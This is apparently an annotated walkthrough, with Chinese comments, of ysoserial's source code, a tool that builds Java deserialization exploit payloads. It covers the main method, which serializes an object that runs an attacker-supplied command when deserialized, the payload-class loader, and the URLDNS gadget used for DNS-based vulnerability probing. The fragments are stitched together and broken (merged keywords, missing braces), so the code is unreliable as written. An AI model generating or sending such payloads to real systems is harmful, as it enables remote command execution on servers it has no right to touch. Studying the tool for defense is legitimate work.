publicstaticvoidmain(final String[] args){ // 判断输入参数,第一个为payload类型,第二个为payload的参数 if (args.length != 2) { printUsage(); System.exit(USAGE_CODE); } final String payloadType = args[0]; final String command = args[1];
// 获取payload指定的类,从ysoserial.payload包中寻找 // 这里用到了泛型,指定类型为ObjectPayload接口类的实现类 final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType); if (payloadClass == null) { System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(); System.exit(USAGE_CODE); return; // make null analysis happy }
try { // 新建ObjectPayload类对象 final ObjectPayload payload = payloadClass.newInstance(); // 调用ObjectPayload类对象的getObject()函数来获取要序列化的payload对象,该对象将在反序列化时执行指定的命令 final Object object = payload.getObject(command); PrintStream out = System.out; // 序列化payload对象 Serializer.serialize(object, out); // 释放payload对象 ObjectPayload.Utils.releasePayload(payload, object); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); System.exit(INTERNAL_ERROR_CODE); } System.exit(0); }
// 打印输入参数帮助文档 privatestaticvoidprintUsage(){ System.err.println("Y SO SERIAL?"); System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'"); System.err.println(" Available payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses = new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses()); Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize
/* * return armed payload object to be serialized that will execute specified * command on deserialization */ public T getObject( String command )throws Exception;
// 内部类Utils publicstaticclassUtils{
// 通过扫描ClassPath来获取指定payload类 publicstatic Set<Class<? extends ObjectPayload>> getPayloadClasses () { final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { Class<? extends ObjectPayload> pc = iterator.next(); if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { iterator.remove(); } } return payloadTypes; }
public Object getObject(final String url)throws Exception {
//Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
/** * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior * using the serialized object.</p> * * <b>Potential false negative:</b> * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the * second resolution.</p> */ staticclassSilentURLStreamHandlerextendsURLStreamHandler{